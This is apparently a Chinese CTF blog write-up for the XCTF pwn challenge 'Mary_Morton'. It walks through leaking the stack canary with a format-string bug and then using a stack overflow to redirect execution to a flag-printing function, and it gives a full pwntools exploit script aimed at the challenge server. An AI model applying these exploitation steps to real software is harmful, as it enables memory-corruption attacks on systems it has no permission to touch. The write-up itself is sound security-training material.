[攻防世界 pwn]——Mary_Morton

[攻防世界 pwn]——Mary_Morton

  • 题目地址: https://adworld.xctf.org.cn/
  • 题目:
    在这里插入图片描述
    checksec看下,64位还开启了NX和canary保护。(一般开启canary保护,都有格式化字符串漏洞)
    在这里插入图片描述

在IDA中看看, 果然有格式化字符串漏洞
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
仔细看看代码会发现, 这个是个死循环, 1 里面有栈溢出, 2里面有格式化字符串漏洞, 3是退出。
我们可以先利用格式化字符串的漏洞, 泄露出canary, 然后就可以利用栈溢出修改返回地址了。
在这里插入图片描述
在这里插入图片描述
最近我学了一个新的, 计算偏移的方法,很好用。当然你也可以下断点自己在gdb里面自己看, 自己调试
在这里插入图片描述
一般写八个就够了, 基本都在8个偏移以内,和自身的偏移。好像好多都是6, 这个也是。
因为61对应97就是a
然后找一下canary和输入之间的偏移
在这里插入图片描述在这里插入图片描述
所以最终的偏移为 17 + 6 =23
我们还知道cat_flag的地址

exploit

from pwn import *
p=remote('111.200.241.244',42124)

p.sendlineafter('3. Exit the battle','2')
p.sendline('%23$p')

p.recvuntil('0x')
canary=int(p.recv(16),16)
print "canary:  " + hex(canary)

flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
p.sendlineafter('3. Exit the battle','1')
p.sendline(payload)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值